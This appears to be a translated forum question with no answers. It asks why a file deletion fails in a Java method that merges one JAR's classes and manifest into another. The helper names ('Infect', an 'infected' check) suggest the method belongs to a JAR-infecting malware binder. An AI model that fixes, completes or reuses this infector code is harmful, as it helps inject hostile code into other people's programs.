2

我正在尝试将一个 jar 文件复制到另一个 jarfile 中。所以为了把它们放在一起,我将它们解压缩到 Infect.BIND_TMP。之后我继续删除“第一个”,但问题来了:

我得到 file.delete() 返回的“false”;

我没有关闭所有流吗?我找不到错误... :c

主文件();只是从 MANIFEST.MF jarFile 返回 MainClass

    public static boolean bindJarFiles(File first, File second) {
    try {

        File tmp_bind = new File(Infect.TMP_BIND);
        if (tmp_bind.exists()) {
            tmp_bind.delete();
            tmp_bind.mkdirs();
        } else {
            tmp_bind.mkdirs();
        }

        tmp_bind = null;

        ZipFile m = new ZipFile(first);
        ZipFile g = new ZipFile(second);

        if (InfectUtils.infected(second))
            return false;

        g.extractAll(Infect.TMP_BIND);

        @SuppressWarnings("unchecked")
        List<FileHeader> fileHeaders = m.getFileHeaders();

        for (FileHeader fileHeader : fileHeaders) {
            if (fileHeader.isDirectory() && fileHeader.getFileName().equals(superPackageNameFromFile())) {
                g.extractFile(fileHeader, Infect.TMP_BIND);
            }
            if (fileHeader.isDirectory() && fileHeader.getFileName().equals("META-INF")) {
                g.extractFile(fileHeader, Infect.TMP_BIND);
            }
        }

        PrintWriter pw = new PrintWriter(new File(Infect.TMP_BIND_FILES_TXT));
        pw.println(mainFile(second));
        pw.println("_-$-_" + superPackageNameFromFile());
        pw.flush();
        pw.close();

        // Reset all the open Streams etc

        String p = second.getAbsolutePath();

        g = null;

        if (!second.delete()) {
            System.err.println("Cannot delete File!");
        }

        g = new ZipFile(p);

        ZipParameters params = new ZipParameters();
        params.setIncludeRootFolder(false);
        params.setCompressionMethod(Zip4jConstants.COMP_DEFLATE);
        params.setCompressionLevel(Zip4jConstants.DEFLATE_LEVEL_NORMAL);

        g.createZipFile(new File(Infect.TMP_BIND), params);

    } catch (ZipException | FileNotFoundException e) {
        e.printStackTrace();
        return false;
    }
    return true;
}
4

0 回答 0